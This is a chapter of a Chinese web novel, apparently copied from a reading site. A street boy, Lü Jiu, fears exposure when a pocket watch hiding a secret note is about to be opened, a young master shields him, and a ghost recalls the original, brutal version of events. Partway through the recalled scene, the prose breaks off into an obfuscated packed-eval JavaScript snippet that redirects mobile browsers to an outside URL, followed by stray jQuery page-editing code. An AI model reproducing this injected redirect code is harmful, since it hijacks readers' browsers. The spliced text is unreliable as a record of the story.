第143章 “可以试一试,没准我……

作品:《美人NPC抚慰力满分

    罗浮屠将音量压得极低,在场除了谢叙白以外,无人发现他们两人的异常。


    顾夫人也就顺势接过话茬,乐呵呵地将昨天发生的事情简述了一遍。


    罗浮屠捋捋胡子,貌似赞许地笑道:“原来是这样,真是个品性高洁的小伙子。听你的口音,似乎不是本地人,怎么到海都来了?”


    “……”吕九用力地掐了一把掌心,竭力掩盖起伏的情绪,低眉顺眼地说,“今年收成不好,家里揭不开锅,听说海都能挣大钱,阿爹让我随阿叔过来打零工,顺带着见见世面。”


    罗浮屠眯着眼睛,冲他揶揄一问:“想挣大钱,怎么把表还了回来,你不知道这款表是市场上限售的珍品,价值千金吗?”


    “千金?”吕九像是被惊住,登时提高音量,惶恐地连连摆手,“我,我不知道,太贵重了,我不能收的!各位老爷、夫人、少爷,既然东西已经还给了你们,那我能走了吗?我家叔还在等我,要是一直看不着我的人,**会着急成什么样。”


    罗浮屠:“哦?你叔叔在哪里,需不需要我找人帮你带个口信……”


    吕九:“不用不用!”


    吕九佯装被热情的问候弄得无所适从,立马转身,强忍着跑的冲动,大步流星走向宅院大门。


    罗浮屠犹带着笑意的眼神落在吕九的后背,宛如利爪刮着后心,令他浑身寒毛直竖,鬓角冷汗渗出。他在心里不停默念,紧张地丈量自己和生路的距离。


    三十米,二十五米,二十米……


    就快了,就快了……罗浮屠过来做生意,不可能为他一个市井小儿怠慢顾家主……他不会追上来的,能跑,可以跑,不怕不怕不怕,速度快点,再快点……!


    然而就在此时,背后的罗浮屠突然笑了一声。


    吕九猝然止步。


    他停下来,不是因为罗浮屠笑了,而是在这一声轻笑传开后,雕纹大门的侧面忽然站出两道雄壮的身影。


    从刚才开始,他们就躲在吕九的视野盲区,如狼似虎地盯着他。


    吕九死也不会忘记这些人的面孔,他们是罗浮屠的得力手下,和那三个追他的狗腿子不一样。正面对上,跑不过,更打不过。


    屋子里的罗浮屠还在和顾家夫妇侃侃而谈,笑声爽朗和蔼:“顾老板,实不相瞒,我有点喜欢这小子,为财而来却不贪财,实在难得。刚才还准备邀请这小子来跟我做事,没想到他跑


    得这么快。”


    “刚才我们聊到哪儿了?哦对,锦州那批货……顾夫人,这表有点奇怪,里面是不是夹着什么东西?”


    谈话声隐隐约约传来。暖阳当头,吕九却觉得浑身冷得刺骨。


    他扭头,看向屋内大厅。


    饭桌前的众人被罗浮屠一句话引起好奇,视线纷纷落在顾夫人手里的怀表。


    只要一打开,里面就会掉出来一张纸条,上面写着顾家管事夜会罗浮屠的秘事。


    ——如果他们看到纸条上的内容,那么他会怎么样?


    吕九的念头千回百转。


    这事很严重,不管是职责所在还是给顾家一个交代,姓陈的巡查队长绝对不会放他走。罗浮屠为了自证清白,也会抓着他不放。他没有证据,只有一张嘴,可谁会相信小孩的“胡言乱语”?


    直接坦白的话,顾家有几分信他的可能?


    不,他们根本就不会信!


    刚才他急着脱困,和罗浮屠虚与委蛇,假装不认识。前后矛盾,顾家人只会把他们俩一起怀疑上。


    吕九浑身战栗。


    要是这事最后不了了之,那么知道他行踪的罗浮屠会——


    冷不丁的,关注怀表的罗浮屠不经意地撩开眼皮,朝他微微一笑。


    ——会杀了他。


    罗浮屠会杀死他。他会死得很惨。


    吕九不由得开始疑惑,疑惑自己为什么图省钱不买信封。要是纸条装在信封里,罗浮屠就算发觉不对劲,也不能要求顾夫人当面打开。


    又疑惑自己为什么要管这劳什子破事。他简直是个傻子蠢货二愣子,也不看看自己是个什么德行,有那个闲工夫和能力去管别人的死活吗?啊?!


    啪的一声轻响,吕九的手腕忽然被人从旁抓住。


    吕九浑身一震,满眼红血丝地看过去,看到了“顾南”那张平静的脸。


    他瞳孔一缩,再抬头,发现大厅死一般寂静。


    顾家夫妇和陈队长看着他,罗浮屠也看着他。


    顾家主亲切地问:“怎么了,这位小兄弟?”


    吕九有些茫然,还有点喘不上气,回头看了看,才发现自己刚才脑子一充血,居然从门口跑了回来。


    他跑回来干什么?想把怀表抢走吗?眼前这么多人,他抢得过吗?


    理智回笼,吕九却情愿自己昏过去。


    此刻他站在众人的面前,对上数双狐疑的眼睛。恐惧和紧张裹挟着他,被谢叙白抓住的手不


    停发颤。


    他拼命想理由解释自己的异常行为,可大脑就是一片空白,什么都想不到,舔了舔干涩的嘴唇:“我……


    谢叙白忽然动了,笑着喊了一声娘,赶在顾夫人将怀表打开前将东西拿过来,塞回吕九的口袋,笑着说:“刚才我就想说了,送出去的东西哪有拿回来的道理。


    吕九的眼皮猛然一颤,不敢置信地摸向口袋里的怀表。


    心跳还没稳住,又听见谢叙白对顾家主说:“不论如何,都不能让顾家的恩人空手而归,爹,你说是不是?


    先不说顾家主一贯宠儿无度,当着外人的面,也不会给孩子落下脸,失笑点头:“这是当然,收着吧,孩子,你们初来海都也不方便。


    谢叙白看向懵逼的吕九:“你也别不好意思,这东西就是再贵重,也比不过我们心里的感激,就好生收下吧。


    “对了,你是不是没吃饭?阿荣,帮我找厨房再做一份早饭,端到我房间来!


    吕九嚅嗫嘴唇,谢叙白却不给他开口的机会,不容置疑地道:“你就吃完饭再走,你叔那边不用担心,我找人帮你说一声,告诉他你晚点回去。


    见谢叙白拽着吕九往楼上走,顾夫人哎哎叫了两声:“怎么就走了,在这儿吃不行?


    谢叙白将吕九推入拐角,朝顾夫人挤眉弄眼地撒娇:“你们大人要谈正事,我们做晚辈哪能在旁边打扰?陈队长,罗老板,爹,你们忙,你们忙——


    罗浮屠鹰隼般阴森的视线消失,吕九才终于再次感受到人间的温度,搓了搓汗湿僵麻的掌心,扭头,对上谢叙白的眼睛,恍惚中有几分失神。


    一整晚都沉默地飘在谢叙白身边,没有任何动静的顾南残魂,忽然开口道:“……我想起来了。


    顾南嘴唇张合,嗓音艰涩:“来还表的那天,他晕倒了,醒来后,就求我……跪着磕头求我收留。


    真实过去里的吕九,在被三个狗腿围殴的时候,没有谢叙白的从旁协助,后脑勺吃上一记闷棍,瞬间头破血流,头晕目眩。


    等他拼着最后一股劲,发狠地解决掉那三人,已是**之末,手扶着墙,摇摇晃晃,一路淌着血走出巷子,栽倒在顾南的轿车前。


    顾南没见过伤得这么惨重的小孩,震惊的同时,泛起怜悯之心,亲自带人去附近的医院。


    吕九警惕心重,检查包扎的时候就惊醒过来,但意识尚不明晰


    。他于疼痛中,迷迷糊糊地看见顾南往他口袋里塞了些钱,又把怀表交给他,笑容明朗,说有事可来顾家找他。


    之后的发展大差不离。


    吕九伤重,没去港口卖花,但在离开医院的时候,无意瞥见拉着罗浮屠的黄包车。


    他呼吸一滞,忍着疼痛快跑跟上去,东绕西绕之后,又撞见顾家管事,也就是白天医院里跟着顾南的人,居然与罗浮屠勾结在一起。


    吕九站在死寂昏黑的街道上,做过同样的挣扎,最后也做出了同样的选择。


    之后,和乞丐起争执,遇到陈队长,遭人怀疑,无奈地进了顾家,将怀表亲自交还给顾夫人,猝不及防地和罗浮屠打了个正面。


    吕九很了解罗浮屠,他知道自己要是逃跑,被抓住顶多打断腿。但要是让罗浮屠知道,自己有对付他的异心和胆量,他会被活生生地剥下来一层皮。


    可在当时,没有谢叙白给吕九解围,顾南也想不到怀表里塞了张纸条,那张纸条上藏着吕九对罗浮屠的恐惧。


    怀表被顾夫人打开,纸条啪嗒一声掉在地上,宛若丧钟敲响。


    吕九心跳一漏,发疯发狂地冲过去,抢来纸条塞进嘴里。


    罗浮屠意识到问题,脸皮垮下来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281723|130163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阴沉得可怕,不由分说地揪住吕九,伸手指用力抠他的嗓子眼,面上还要假惺惺地关切:“这孩子把什么东西吃进去了,大家快帮帮忙,让他吐出来!不能乱吃啊!”


    陈队长的审讯手法是专业的,吕九吞纸条明摆着有问题,他没法不怀疑。


    他便帮罗浮屠,掰住吕九的下巴,让吕九合不上嘴。又手和膝盖并用,压得吕九手脚屈起,只能趴跪在地上。


    罗浮屠嘭嘭拍着吕九的背,巴掌砸在没有愈合的伤口上,痛得吕九眼前发黑。罗浮屠的指甲在他嘴里不停地抠,抠得口腔内壁出血,比针扎还疼。他再次嗅到罗浮屠身上的气味,烟味、泥腥味、好像血液变质后的腐臭味。


    他好想吐。


    吕九拼命地捂住嘴,泪水和胃液酸水在反复作呕的过程中一起涌出,又被他硬生生咽了回去。他不能吐。


    不知道折腾多久,才昏了过去。


    罗浮屠再三强调吕九有问题,顾家夫妇也心知小孩身上疑点重重,但看见吕九昏倒和满身伤痕,终究还是心软了,只当没看见那纸条,也不让罗浮屠继续给小孩催吐。


    吕九再次醒来,是在顾家的客房。


    顾家夫妇要忙,陈队长和罗浮屠也走了。顾南闻讯赶过来,正看见吕九背靠着墙,炸毛的刺猬般蜷成一团,谁靠近就瞪谁,眼神凶得很。


    而顾家的某位管事端着药,苦口婆心地劝吕九把药喝下去:“客人,快喝吧。


    顾南调侃吕九:“怎么不愿意喝药?难不成怕苦呀。


    吕九不吭声,那管事讲笑话似的替他回答:“不是怕苦,小客人怀疑里面掺了**。


    顾南果不其然给气笑了:“毒?我说小鬼你是不是异想天开!你就是个小乞丐,一穷二白,身无分文的,我们毒死你有什么好处?


    吕九盯着管事的脸,沉默几秒,忽然也笑了,双臂环抱,五指在胳膊上抓出红印子,笑得身体都在抖。


    当时顾南读不懂那笑,也不知道端药的管事就是和罗浮屠勾结的叛徒之一。


    他就感觉吕九笑得比哭还难看,脑子好像还有点问题。


    再然后,吕九跟个炮仗似的,忽然从床上蹦起来,嘭的一下把管事手里的药碗撞翻,跪在地上。


    他开始磕头,脑袋砸在结实的地板上,砰砰响,说自己其实父母双亡,没有地方去,恳求顾南能收留他。做书童也好,做手下也罢,什么都可以,只求能留在顾南的身边,贴身还报恩情。


    回忆结束,残魂顾南苦笑地说:“说实话,当时我只觉得这小孩莫名其妙,怎么突然改口想留下来,怕不是别有用心,看上了顾家的什么。


    顾南理智上没想着同意。


    但是吕九在求他。红着眼眶,流着泪,求他。


    顾南:“有的人,一眼就能看出他的不寻常和傲骨铮铮,吕九就是这样的人。当初我带他去医院,医生给他打麻药,伤口清创缝针,哪知这家伙耐药性强,居然在中途醒了过来。当时大家都吓住了,万一病人挣扎该怎么办?谁想到吕九反手扣住床沿,手背青筋都爆出来了,愣是一声没吭。


    “当时我就想,这家伙才多少岁啊,他是个怪物吧?


    那一幕给顾南带来的冲击极大,也让他鬼使神差地没有立刻离开。


    在吕九术后犯迷糊的时间里,顾南发现这小孩对任何人都自带一种看似亲昵的疏离感。


    护士、医生、隔壁床的病人。无论是谁靠近,吕九都会反射性地去看一眼,冲人甜甜地笑一笑,然后扭过头,面无表情。


    大概是犯贱吧。


    发现吕九可能是一个看似热情、实则冷漠的人后,顾南心里忽然有了不一样的感触,像是好奇,又像是想要折断、征服什么的冲动。


    以至于看见吕九对着他落泪,他再一次鬼迷心窍,居高临下地凝视跪地的小孩,反问:“我让你做什么都行,别开玩笑了,难道我叫你**,你也会照做?


    吕九定定地看着他,殷红的眼尾缀着泪,绷紧的肩膀蓦然一松,笑了笑:“顾少爷可以试一试,没准我真的会**呢?


    过往烟云随潮散,直至好戏再开场,岁月斗转重回旧时。


    重生回来的顾南,摈弃满腔怨恨,窥见幕后隐秘,再去回想吕九这段时间风轻云淡的几次笑,终是读出了那笑容之下,刻骨铭心的绝望。